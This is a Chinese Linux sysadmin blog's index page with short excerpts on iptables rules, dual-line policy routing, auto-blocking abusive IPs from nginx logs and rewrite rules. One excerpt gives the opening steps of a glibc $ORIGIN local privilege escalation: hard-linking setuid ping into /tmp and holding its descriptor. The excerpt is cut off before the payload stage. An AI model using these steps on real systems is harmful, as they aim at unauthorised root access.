IPTABLES常用规则
#!/bin/sh #外网网卡 EXT_IF="eth0" FW_IP="61.137.85.21" #内网网卡 INT_IF="eth1" LAN_IP="192.168.0.1" LAN_IP_RANGE="192.168.0.0/255.255.255.0" #加载模块,一般已内建 #Module loading. #echo "modprobe m...
linux 双线策略路由
在/etc/iproute2/rt_tables里建2个table
251 tel
252 cnc
251 tel
252 cnc
然后给这2个table加规则
ip rule add from 122.227.173.12 table tel
ip rule add from 60.12.21.139 table...
ip rule add from 122.227.173.12 table tel
ip rule add from 60.12.21.139 table...
GNU glibc动态连接器$ORIGIN本地权限提升漏洞
root下添加一个testuser1帐户
设置密码
设置密码
su testuser1
cd ~
cd ~
mkdir -p /tmp/ex1
ln /bin/ping /tmp/ex1/target
exec 3< /tmp/ex1/target
rm -rf /tmp/ex1
再执行
ls -l /proc/$$/fd/3
显示
lr-x------ 1 testuser1 testuser1 64 Dec ...
ls -l /proc/$$/fd/3
显示
lr-x------ 1 testuser1 testuser1 64 Dec ...
标签: glibc2提权
shell结合iptables自动处理攻击
#!/bin/sh
cd /usr/local/nginx/logs
tail access.log -n 1000 |grep vote.php |awk {'print $2'} |sort |uniq -c |sort -nr |awk '{if ($2!=null && $1>50) {print $2}}' > drop_ip.txt
fo...
标签: iptables自动处理攻击
Nginx apache rewrite 对比
[APACHE]
RewriteRule ^mergenotify-([0-9]+).html$ index.php?app=mergenotify&order_id=$1 [L]
[Nginx]
rewrite ^/mergenotify-([0-9]+).html$ /index.php?app=mergenotify&order_id=$1 last;
Sort
Archive
- 2026年3月(1)
- 2023年1月(1)
- 2019年4月(1)
- 2018年12月(2)
- 2014年9月(1)
- 2014年7月(1)
- 2014年5月(4)
- 2013年4月(10)
- 2013年3月(2)
- 2012年11月(10)
- 2012年10月(2)
- 2012年9月(2)
- 2012年8月(9)
- 2012年7月(1)
- 2012年6月(4)
- 2012年5月(4)
- 2012年4月(11)
- 2012年3月(11)
- 2012年1月(16)
- 2011年12月(6)
- 2011年11月(8)
- 2011年10月(8)
- 2011年9月(3)
- 2011年8月(6)
- 2011年7月(3)
- 2011年6月(5)
- 2011年5月(10)
- 2011年4月(4)
- 2011年3月(4)
- 2011年2月(7)
- 2011年1月(16)
- 2010年12月(9)
- 2010年11月(29)
- 2010年10月(14)
- 2010年9月(15)
- 2010年8月(16)
- 2010年7月(22)
- 2010年6月(19)
- 2010年5月(27)
- 2010年4月(21)
- 2010年3月(24)
- 2010年2月(9)
Comment
- Lightning_bear
失效了 - admin
在哪下载? - 王健宇
@红河:CMD命令里... - 红河
台式机安装了蓝牙。但... - M2nT1ger
@LiveOnLov... - LiveOnLove
可以将Tablet ... - 阿生
表示支持了 - M2nT1ger
@无:每种都学啊。 - 无
向您这么厉害,得学习... - M2nT1ger
@被屏蔽的昵称:谢谢...
